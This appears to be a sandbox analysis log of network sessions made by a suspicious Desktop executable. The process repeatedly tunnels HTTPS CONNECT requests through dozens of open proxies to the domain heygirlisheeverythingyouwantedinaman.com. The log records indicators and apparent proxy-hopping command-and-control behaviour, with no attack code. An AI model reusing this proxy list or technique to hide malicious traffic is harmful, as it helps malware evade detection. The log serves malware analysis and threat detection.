Mar 11, 2024 15:21:34.137532949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:46.137676954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:58.137554884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:22.137465000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:10.137372971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.9	54690	197.234.58.102	32767	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.053045988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.9	55097	216.9.224.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.060380936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.9	55100	202.162.219.10	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.061824083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.9	55089	202.166.219.80	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.061985970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.9	55087	115.127.31.66	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.062055111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.9	54502	104.200.152.30	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.062757969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.9	55104	188.166.17.18	8881	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.063395977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.9	55103	185.38.111.1	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.063402891 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:10.384562016 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:10 GMT Content-Length: 0
Mar 11, 2024 15:21:10.728816986 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.9	54609	104.128.103.32	64312	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.063482046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.9	50780	101.230.172.86	9443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.065443993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.954754114 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.9	54837	51.89.173.40	31724	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.066423893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.9	53447	202.58.199.229	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.072946072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.9	54815	92.204.135.37	58604	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.078299046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.637959003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.434865952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.934765100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.825409889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.637936115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.434720993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.137816906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.434447050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.9	54835	92.204.135.37	34824	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.078839064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.9	55106	211.222.252.187	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.082318068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.9	53610	184.170.245.148	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.083031893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.9	54379	174.77.111.196	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.096875906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.9	54803	172.105.201.56	9050	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.106780052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.9	53547	75.89.101.60	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.119529963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.9	55107	65.21.255.197	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.135740995 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:10.459127903 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:10 GMT Content-Length: 0
Mar 11, 2024 15:21:10.782821894 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.9	50156	103.90.227.244	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.213638067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.009655952 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.9	53608	171.250.218.113	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.216500044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.9	55114	47.56.110.204	8989	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.226368904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.9	55115	196.20.125.129	8083	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.227364063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.9	54915	107.180.95.177	64731	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.246498108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.325510025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.325651884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.325759888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.325047970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.9	55120	147.75.34.85	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.248924971 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:10.548202038 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3
Mar 11, 2024 15:21:10.576356888 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 55 2e 92 6a 89 41 aa 56 56 b9 45 f3 ce 93 23 98 f9 36 5b 3a f2 56 a4 32 56 97 78 94 5c 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eU.jAVVE#6[:V2Vx\*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.9	55121	190.239.23.33	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.251275063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.9	54919	189.240.60.169	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.267586946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.418971062 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.9	55118	80.232.253.108	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.280117035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.9	53652	64.227.108.182	14287	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.320686102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.325426102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.325649977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.325776100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.325051069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.9	54989	104.19.247.62	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.327189922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.387945890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.543467999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:13 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.9	55134	142.4.123.41	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
